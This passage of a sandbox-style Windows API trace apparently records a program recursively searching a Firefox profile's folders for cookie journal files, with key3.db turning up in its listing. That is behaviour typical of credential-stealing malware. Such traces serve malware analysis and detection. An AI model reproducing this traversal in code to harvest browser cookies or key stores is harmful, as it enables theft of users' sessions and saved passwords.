lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned 0x6a [0111.641] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home") returned 105 [0111.641] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.641] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b80 [0111.641] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite-journal" [0111.641] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\cookies.sqlite-journal", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.641] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*" [0111.641] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0111.641] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.641] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0111.641] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.642] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 1 [0111.642] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.642] lstrlenW (lpString="idb") returned 3 [0111.642] PathCombineW (in: pszDest=0x9a91b80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home", pszFile="idb" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb" [0111.642] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91d90 [0111.642] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x6e [0111.642] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xdc) returned 0x9a91ff0 [0111.642] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", lpDst=0x9a91ff0, nSize=0x6e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned 0x6e [0111.642] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb") returned 109 [0111.642] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.642] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a920e0 [0111.642] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite-journal" [0111.642] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\cookies.sqlite-journal", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="818200~1.SQL")) returned 0xffffffffffffffff [0111.642] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*" [0111.642] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\*", lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466940 [0111.642] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.642] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.642] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht", cAlternateFileName="818200~1")) returned 1 [0111.642] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.642] lstrlenW (lpString="818200132aebmoouht") returned 18 [0111.642] PathCombineW (in: pszDest=0x9a920e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb", pszFile="818200132aebmoouht" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0111.642] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a922f0 [0111.642] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x81 [0111.642] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a92550 [0111.643] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpDst=0x9a92550, nSize=0x81 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 0x81 [0111.643] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 128 [0111.643] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.643] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a92660 [0111.643] PathCombineW (in: pszDest=0x9a92660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite-journal" [0111.643] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\cookies.sqlite-journal", lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.643] PathCombineW (in: pszDest=0x9a92660, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*" [0111.643] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*", lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466d00 [0111.643] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.643] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.643] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x9a922f0 | out: lpFindFileData=0x9a922f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c417a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41c417a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41c417a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.643] FindClose (in: hFindFile=0x4466d00 | out: hFindFile=0x4466d00) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92660 | out: hHeap=0x9770000) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92550 | out: hHeap=0x9770000) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a922f0 | out: hHeap=0x9770000) returned 1 [0111.643] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf2da4ba0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x258000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1 [0111.643] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.643] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a91d90 | out: lpFindFileData=0x9a91d90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf2da4ba0, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x258000, dwReserved0=0x0, dwReserved1=0x0, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 0 [0111.643] FindClose (in: hFindFile=0x4466940 | out: hFindFile=0x4466940) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a920e0 | out: hHeap=0x9770000) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91ff0 | out: hHeap=0x9770000) returned 1 [0111.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0111.644] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="idb", cAlternateFileName="")) returned 0 [0111.644] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b80 | out: hHeap=0x9770000) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.644] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x419e01a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419e01a0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419e01a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0 [0111.644] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.644] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.644] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f0f6780, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f0f6780, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf441bb40, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="key3.db", cAlternateFileName="")) returned 1 [0111.644] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.644] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf340a6c0, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf340a6c0, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf34eef00, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="localstore.rdf", cAlternateFileName="LOCALS~1.RDF")) returned 1 [0111.644] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.644] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41993ee0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41993ee0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xe8878fe0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="marionette.log", cAlternateFileName="MARION~1.LOG")) returned 1 [0111.644] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.644] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f75c2a0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f81a980, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f81a980, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0xef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="mimeTypes.rdf", cAlternateFileName="MIMETY~1.RDF")) returned 1 [0111.644] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.644] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0111.644] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.644] lstrlenW (lpString="minidumps") returned 9 [0111.644] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="minidumps" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps" [0111.644] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.644] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x56 [0111.644] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e480 [0111.644] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", lpDst=0x9a6e480, nSize=0x56 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned 0x56 [0111.644] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps") returned 85 [0111.644] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.644] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e540 [0111.645] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite-journal" [0111.645] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="MOZ-SA~1")) returned 0xffffffffffffffff [0111.645] PathCombineW (in: pszDest=0x9a6e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*" [0111.645] FindFirstFileW (in: 